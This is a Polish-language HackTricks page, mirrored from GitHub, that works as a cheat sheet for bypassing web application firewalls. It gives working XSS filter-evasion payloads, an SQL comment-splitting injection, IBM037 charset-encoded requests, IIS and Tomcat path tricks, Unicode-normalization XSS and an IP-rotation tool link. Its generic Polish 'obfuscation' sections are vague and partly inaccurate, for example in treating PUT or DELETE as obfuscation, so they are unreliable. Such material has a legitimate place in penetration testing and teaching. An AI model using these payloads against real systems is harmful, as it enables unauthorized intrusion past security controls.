mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-04 10:30:26 +00:00
172 lines
10 KiB
Markdown
172 lines
10 KiB
Markdown
# Bypass WAF
|
||
|
||
<details>
|
||
|
||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Inne sposoby wsparcia HackTricks:
|
||
|
||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
|
||
## Bypassy Regex
|
||
|
||
Różne techniki mogą być używane do obejścia filtrów regex na zaporach ogniowych. Przykłady obejmują zmianę wielkości liter, dodawanie podziałów linii i kodowanie payloadów. Zasoby dotyczące różnych bypassów można znaleźć na stronach [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) i [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS\_Filter\_Evasion\_Cheat\_Sheet.html). Poniższe przykłady zostały zaczerpnięte z [tego artykułu](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
|
||
```bash
|
||
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
|
||
<<script>alert(XSS)</script> #prepending an additional "<"
|
||
<script>alert(XSS) // #removing the closing tag
|
||
<script>alert`XSS`</script> #using backticks instead of parenetheses
|
||
java%0ascript:alert(1) #using encoded newline characters
|
||
<iframe src=http://malicous.com < #double open angle brackets
|
||
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
|
||
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
|
||
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
|
||
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
|
||
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
|
||
<iframe src="javascript:alert(`xss`)"> #unicode encoding
|
||
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
|
||
new Function`alt\`6\``; #using backticks instead of parentheses
|
||
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
|
||
%26%2397;lert(1) #using HTML encoding
|
||
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
|
||
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
|
||
```
|
||
## Kodowanie znaków
|
||
|
||
W niektórych przypadkach, aplikacje internetowe mogą używać różnych kodowań znaków, takich jak UTF-8, ISO-8859-1, itp. Można to wykorzystać do obejścia WAF (Web Application Firewall).
|
||
|
||
### Bypassowanie WAF za pomocą kodowania znaków
|
||
|
||
1. Spróbuj wysłać żądanie HTTP z innym kodowaniem znaków, na przykład UTF-7 lub UTF-16. W niektórych przypadkach, WAF może nie być w stanie poprawnie zinterpretować takiego żądania i umożliwić dostęp do zasobów, które normalnie byłyby zablokowane.
|
||
|
||
2. Jeśli aplikacja internetowa używa kodowania znaków, które nie jest obsługiwane przez WAF, można spróbować wysłać żądanie z tym kodowaniem. Na przykład, jeśli WAF obsługuje tylko UTF-8, można spróbować wysłać żądanie z kodowaniem ISO-8859-1.
|
||
|
||
3. Można również spróbować wykorzystać różnice w kodowaniu znaków, takie jak homografy. Homografy to znaki, które wyglądają podobnie, ale mają inne kody Unicode. Na przykład, litera "a" (U+0061) może być zastąpiona przez literę "а" (U+0430), która wygląda tak samo, ale ma inny kod Unicode. Można spróbować wysłać żądanie z homografami, aby obejść WAF.
|
||
|
||
4. Jeśli WAF wykonuje normalizację kodowania znaków, można spróbować wysłać żądanie z niepoprawnie znormalizowanymi znakami. Na przykład, jeśli WAF normalizuje znaki diakrytyczne, można spróbować wysłać żądanie z niepoprawnie znormalizowanymi znakami diakrytycznymi.
|
||
|
||
### Podsumowanie
|
||
|
||
Bypassowanie WAF za pomocą kodowania znaków może być skuteczną techniką, jeśli WAF nie jest odpowiednio skonfigurowany lub nie obsługuje wszystkich kodowań znaków. Warto eksperymentować z różnymi kodowaniami i technikami, aby znaleźć sposób na obejście WAF i uzyskanie dostępu do zasobów, które normalnie byłyby zablokowane.
|
||
```bash
|
||
# Charset encoding
|
||
application/x-www-form-urlencoded;charset=ibm037
|
||
multipart/form-data; charset=ibm037,boundary=blah
|
||
multipart/form-data; boundary=blah; charset=ibm037
|
||
|
||
##Python code
|
||
import urllib
|
||
s = 'payload'
|
||
print(urllib.parse.quote_plus(s.encode("IBM037")))
|
||
|
||
## Request example
|
||
GET / HTTP/1.1
|
||
Host: buggy
|
||
Content-Type: application/x-www-form-urlencoded; charset=ibm500
|
||
Content-Length: 61
|
||
|
||
%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
|
||
```
|
||
## Obfuskacja
|
||
|
||
Obfuskacja jest techniką używaną do ukrywania prawdziwego znaczenia kodu lub danych, aby utrudnić ich analizę i zrozumienie. W przypadku omijania WAF (Web Application Firewall), obfuskacja może być używana do uniknięcia wykrycia i blokowania niebezpiecznych żądań.
|
||
|
||
### Obfuskacja znaków
|
||
|
||
Obfuskacja znaków polega na zamianie znaków w kodzie na inne znaki lub sekwencje znaków, które zachowują funkcjonalność kodu, ale utrudniają jego analizę. Przykłady technik obfuskacji znaków to:
|
||
|
||
- Zamiana liter na ich kod ASCII lub Unicode.
|
||
- Zamiana liter na ich odpowiedniki w innych alfabetach.
|
||
- Dodawanie losowych znaków lub białych znaków do kodu.
|
||
|
||
### Obfuskacja kodu
|
||
|
||
Obfuskacja kodu polega na modyfikacji kodu w taki sposób, aby był trudniejszy do zrozumienia i analizy. Przykłady technik obfuskacji kodu to:
|
||
|
||
- Usuwanie lub dodawanie zbędnych instrukcji.
|
||
- Zmiana nazw zmiennych i funkcji na losowe lub trudne do zrozumienia.
|
||
- Używanie skomplikowanych konstrukcji językowych, takich jak zagnieżdżone pętle i warunki.
|
||
|
||
### Obfuskacja danych
|
||
|
||
Obfuskacja danych polega na zmianie struktury lub formatu danych w celu utrudnienia ich analizy. Przykłady technik obfuskacji danych to:
|
||
|
||
- Szyfrowanie danych.
|
||
- Kompresja danych.
|
||
- Zmiana kolejności lub formatu danych.
|
||
|
||
### Obfuskacja protokołu
|
||
|
||
Obfuskacja protokołu polega na zmianie struktury lub formatu komunikacji między klientem a serwerem w celu utrudnienia analizy i wykrycia niebezpiecznych żądań. Przykłady technik obfuskacji protokołu to:
|
||
|
||
- Dodawanie losowych danych do żądań.
|
||
- Zmiana kolejności lub formatu nagłówków.
|
||
- Używanie nietypowych metod komunikacji, takich jak kodowanie Base64.
|
||
|
||
### Obfuskacja adresu IP
|
||
|
||
Obfuskacja adresu IP polega na ukryciu prawdziwego adresu IP klienta lub serwera poprzez przekierowanie ruchu przez pośrednika lub używanie usług proxy. Przykłady technik obfuskacji adresu IP to:
|
||
|
||
- Używanie usług proxy lub VPN.
|
||
- Przekierowywanie ruchu przez serwery pośredniczące.
|
||
- Używanie technik tunelowania, takich jak SSH tunneling.
|
||
|
||
### Obfuskacja żądań HTTP
|
||
|
||
Obfuskacja żądań HTTP polega na modyfikacji żądań HTTP w taki sposób, aby były trudniejsze do analizy i wykrycia przez WAF. Przykłady technik obfuskacji żądań HTTP to:
|
||
|
||
- Dodawanie losowych parametrów do żądań.
|
||
- Zmiana kolejności lub formatu parametrów.
|
||
- Używanie nietypowych metod HTTP, takich jak PUT lub DELETE.
|
||
|
||
### Obfuskacja odpowiedzi HTTP
|
||
|
||
Obfuskacja odpowiedzi HTTP polega na modyfikacji odpowiedzi HTTP w taki sposób, aby były trudniejsze do analizy i wykrycia przez WAF. Przykłady technik obfuskacji odpowiedzi HTTP to:
|
||
|
||
- Dodawanie losowych nagłówków do odpowiedzi.
|
||
- Zmiana kolejności lub formatu nagłówków.
|
||
- Używanie nietypowych kodów odpowiedzi HTTP.
|
||
```bash
|
||
# IIS, ASP Clasic
|
||
<%s%cr%u0131pt> == <script>
|
||
|
||
# Path blacklist bypass - Tomcat
|
||
/path1/path2/ == ;/path1;foo/path2;bar/;
|
||
```
|
||
## Zgodność Unicode
|
||
|
||
W zależności od implementacji normalizacji Unicode (więcej informacji [tutaj](https://jlajara.gitlab.io/Bypass\_WAF\_Unicode)), znaki, które mają zgodność Unicode, mogą ominąć WAF i wykonać zamierzony ładunek. Zgodne znaki można znaleźć [tutaj](https://www.compart.com/en/unicode)
|
||
|
||
### Przykład
|
||
```bash
|
||
# under the NFKD normalization algorithm, the characters on the left translate
|
||
# to the XSS payload on the right
|
||
<img src⁼p onerror⁼'prompt⁽1⁾'﹥ --> <img src=p onerror='prompt(1)'>
|
||
```
|
||
## Przekraczanie ograniczeń rozmiaru
|
||
|
||
W chmurze opartych na WAF-ach jest powszechne, że jeśli ładunek jest większy niż rozmiar X, żądanie nie zostanie sprawdzone przez WAF. Możesz po prostu użyć tego do ich ominięcia.
|
||
|
||
### Rotacja adresów IP
|
||
|
||
* [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin)
|
||
|
||
<details>
|
||
|
||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Inne sposoby wsparcia HackTricks:
|
||
|
||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|